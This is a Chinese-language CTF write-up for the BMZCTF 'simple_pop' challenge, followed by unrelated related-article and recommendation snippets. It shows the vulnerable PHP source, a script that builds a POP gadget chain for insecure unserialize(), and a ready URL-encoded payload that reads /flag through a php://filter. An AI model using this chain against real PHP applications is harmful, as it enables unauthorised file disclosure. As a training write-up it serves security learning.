simple_pop

打开题目得到源码

这边是php伪协议的考点,需要去读取useless.php

解码获得源码

  1. <?php
  2. class Modifier {
  3. protected $var;
  4. public function append($value){
  5. include($value);//flag.php
  6. }
  7. public function __invoke(){
  8. $this->append($this->var);
  9. }
  10. }
  11. class Show{
  12. public $source;
  13. public $str;
  14. public function __construct($file='index.php'){
  15. $this->source = $file;
  16. echo 'Welcome to '.$this->source."<br>";
  17. }
  18. public function __toString(){
  19. return $this->str->source;
  20. }
  21. public function __wakeup(){
  22. if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
  23. echo "hacker";
  24. $this->source = "index.php";
  25. }
  26. }
  27. }
  28. class Test{
  29. public $p;
  30. public function __construct(){
  31. $this->p = array();
  32. }
  33. public function __get($key){
  34. $function = $this->p;
  35. return $function();
  36. }
  37. }
  38. if(isset($_GET['password'])){
  39. @unserialize($_GET['password']);
  40. }
  41. else{
  42. $a=new Show;
  43. }
  44. ?>

这个pop链是通过show类的toString去触发test类的get最后调用Modifier invoke去得到flag

  1. <?php
  2. class Modifier
  3. {
  4. protected $var = 'php://filter/convert.base64_encode/resource=/flag';
  5. }
  6. class Show
  7. {
  8. public $source;
  9. public $str;
  10. }
  11. class Test
  12. {
  13. public $p;
  14. }
  15. $m = new Modifier();
  16. $s = new Show();
  17. $t = new Test();
  18. $s -> source = $s;
  19. $s -> str = $t;
  20. $t -> p = $m;
  21. echo urlencode(serialize($s));

构造payload

  1. ?password=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Br%3A1%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A49%3A%22php%3A%2F%2Ffilter%2Fconvert.base64_encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D

解码即可获得flag

BMZCTF simple_pop的更多相关文章

  1. BMZCTF WEB_ezeval

    WEB_ezeval 进入环境,源码给出 <?php highlight_file(__FILE__); $cmd=$_POST['cmd']; $cmd=htmlspecialchars($c ...

  2. BMZCTF phar???

    pchar??? 补充知识点 开始这题之前我们先补充一个知识点 phar 的文件包含 和上面类似先创建一个phar 标准包,使用 PharData 来创建,然后添加文件进去phar里面. 然后在文件包 ...

  3. BMZCTF 端午节就该吃粽子

    端午节就该吃粽子 题目如下让我们访问login.php 然后就一个登录界面查看源码发现index.php 我们直接访问发现没有结果使用伪协议读取 然后我们使用base64解密 <?php err ...

  4. BMZCTF ssrfme

    <?php if(isset($_GET) && !empty($_GET)){ $url = $_GET['file']; $path = "upload/" ...

  5. BMZCTF 2020祥云杯到点了

    2020祥云杯到点了 下载附件得到三个word文档,我们打开第一个文档然后将隐藏文字显示出来 得到提示 我们查看属性应该就是日期了我们先把他记录下来 然后打开第二个文档 输入刚刚的密码 在第二个wor ...

  6. BMZCTF SDNISC2020_过去和现在

    SDNISC2020_过去和现在 打开附件就一张图片 根据题意感觉是图片中隐藏了什么信息 使用binwalk -e分离这里foremost不行 三个文件查看在第一个中发现flag

  7. Disable_functions绕过整合

    转载 https://whoamianony.top/2021/03/13/Web安全/Bypass Disable_functions/ https://www.mi1k7ea.com/2019/0 ...

随机推荐

  1. 磁盘管理及shell脚本编程练习

    转至:http://www.178linux.com/88405 1.创建一个10G分区,并格式为ext4文件系统 a) 要求其block大小为2048,预留空间百分比为2,卷标为MYDATA,默认挂 ...

  2. 详解pandas的read_csv方法

    楔子 使用pandas做数据处理的第一步就是读取数据,数据源可以来自于各种地方,csv文件便是其中之一.而读取csv文件,pandas也提供了非常强力的支持,参数有四五十个.这些参数中,有的很容易被忽 ...

  3. .Net/C#分库分表高性能O(1)瀑布流分页

    .Net/C#分库分表高性能O(1)瀑布流分页 框架介绍 依照惯例首先介绍本期主角:ShardingCore 一款ef-core下高性能.轻量级针对分表分库读写分离的解决方案,具有零依赖.零学习成本. ...

  4. C#实现抢红包算法

    二倍均值法(公平版) 发出一个固定金额的红包,由若干个人来抢,需要满足哪些规则? 1.所有人抢到金额之和等于红包金额,不能超过,也不能少于. 2.每个人至少抢到一分钱. 3.要保证所有人抢到金额的几率 ...

  5. SQL从零到迅速精通【查询利器】

    1.[列选取]从fruits表中获取f_name和f_price两列,T-SQL语句如下. SELECT f_name,f_price FROM fruits; 2.[去重]查询fruits表中s_i ...

  6. vivo鲁班RocketMQ平台的消息灰度方案

    一.方案背景 RocketMQ(以下简称MQ)作为消息中间件在事务管理,异步解耦,削峰填谷,数据同步等应用场景中有着广泛使用.当业务系统进行灰度发布时,Dubbo与HTTP的调用可以基于业界通用的灰度 ...

  7. php 数组汇总

    PHP 5 Array 函数 函数 描述 array() 创建数组. array_change_key_case() 返回其键均为大写或小写的数组. array_chunk() 把一个数组分割为新的数 ...

  8. think php 公共目录common.php json封装

    <?php function getJsonData($code,$massage,$data){ $result=[ 'code'=>$code, 'massage'=>$mass ...

  9. PHP Curl Accept-Encoding: gzip乱码问题解决

    在使用php curl对接hugegraph的过程中,发现向gremlin发送结果返回乱码,截图如下: 发现返回乱码的乱码请求中有Accept-Encoding: gzip,即返回的内容采用了gzip ...

  10. Linux——vi命令详解

    转载 Linux--vi命令详解   原文链接:https://blog.csdn.net/cyl101816/article/details/82026678 vi编辑器是所有Unix及Linux系 ...